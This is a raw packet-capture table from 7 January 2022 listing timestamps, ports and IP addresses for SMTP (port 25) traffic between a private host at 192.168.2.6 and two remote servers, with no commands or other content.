Jan 7, 2022 15:44:07.586250067 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586272001 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586292028 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586294889 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586317062 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586328030 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586338997 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586366892 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586393118 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586402893 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586416960 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586436987 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586587906 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586606026 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586644888 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586668968 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586688995 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586710930 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586733103 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586754084 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586755991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586771965 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586782932 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586787939 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586802959 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586802959 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586819887 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586828947 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586848974 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586921930 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586939096 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586945057 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586965084 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.586966991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.586996078 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587028980 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587045908 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587060928 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587122917 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587146044 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587168932 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587191105 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587213039 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587215900 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587235928 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587240934 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587259054 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587274075 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587301970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587368965 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587393045 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587414026 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587435961 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587459087 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587480068 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587481976 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587506056 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587517023 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587543964 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587582111 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587604046 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587625027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587681055 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587683916 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587704897 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587706089 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587729931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587747097 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587752104 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587784052 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587800026 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587812901 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587814093 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587835073 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.587904930 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.587963104 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588260889 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588282108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588304996 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588345051 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588363886 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588387012 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588387012 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588408947 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588432074 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588454008 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588478088 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588495970 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588511944 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588527918 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588562965 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588865042 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588881016 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588892937 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588901997 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588912964 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588928938 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588939905 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588943005 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.588956118 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.588972092 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.589019060 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.589034081 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589054108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589065075 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589076996 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.589097977 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.589164972 CET	50005	25	192.168.2.6	108.177.119.26
Jan 7, 2022 15:44:07.589170933 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589186907 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589200020 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589309931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589320898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589332104 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589416981 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589435101 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589452028 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589467049 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589482069 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589684963 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589826107 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589843988 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589858055 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589874983 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589891911 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.589906931 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590015888 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590033054 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590049028 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590064049 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590080023 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590095997 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590209007 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590224028 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590240002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590255976 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590318918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590336084 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590639114 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.590653896 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609658957 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609683990 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609699011 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609872103 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609888077 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609901905 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609919071 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609931946 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609947920 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.609961987 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610260963 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610275984 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610290051 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610304117 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610379934 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610394955 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610404015 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610464096 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610474110 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610483885 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610543966 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.610558987 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611021042 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611196995 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611212969 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611227036 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611243010 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611258030 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611728907 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611743927 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611758947 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611778975 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611793995 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611807108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611820936 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611835957 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611850023 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611864090 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611877918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611893892 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611908913 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.611967087 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612204075 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612219095 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612432957 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612447023 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612456083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612499952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612514973 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612685919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612731934 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612782955 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612832069 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.612855911 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613219023 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613233089 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613243103 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613351107 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613364935 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613379002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613432884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613622904 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613671064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613776922 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.613825083 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614079952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614097118 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614204884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614236116 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614293098 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614308119 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614413977 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614428043 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614443064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614456892 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614561081 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614576101 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614586115 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614599943 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614824057 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614840031 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614854097 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614983082 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.614999056 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615014076 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615027905 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615062952 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615077972 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615128040 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615142107 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615155935 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615170956 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615355968 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615370989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615385056 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615398884 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615412951 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615535975 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615551949 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615567923 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615581036 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615634918 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615649939 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615691900 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615705967 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615720034 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615854025 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615868092 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615883112 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615896940 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615938902 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615952969 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.615967989 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616015911 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616055012 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616097927 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616112947 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616128922 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616142988 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616290092 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616303921 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616318941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616337061 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616494894 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616511106 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616573095 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616588116 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616602898 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616641045 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616720915 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616735935 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616750956 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616839886 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.616882086 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617129087 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617144108 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617160082 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617173910 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617187977 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617202044 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617217064 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617230892 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617247105 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617260933 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617275000 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617289066 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617302895 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617317915 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617327929 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617338896 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617347002 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617357016 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617366076 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617376089 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617383957 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617393017 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617403030 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617466927 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617482901 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617496967 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617511034 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617525101 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617592096 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617779016 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617794991 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617810011 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617824078 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617837906 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617861986 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617877007 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617892027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617908001 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617922068 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617937088 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617950916 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617964983 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617980003 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.617995024 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618009090 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618022919 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618036985 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618052006 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618065119 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618079901 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618093967 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618109941 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618124962 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618139029 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618153095 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618168116 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618216038 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618232012 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618248940 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618263006 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618278027 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.618292093 CET	25	50005	108.177.119.26	192.168.2.6
Jan 7, 2022 15:44:07.639683008 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.639831066 CET	25	49992	173.228.157.39	192.168.2.6
Jan 7, 2022 15:44:07.639867067 CET	49992	25	192.168.2.6	173.228.157.39
Jan 7, 2022 15:44:07.640037060 CET	49992	25	192.168.2.6	173.228.157.39
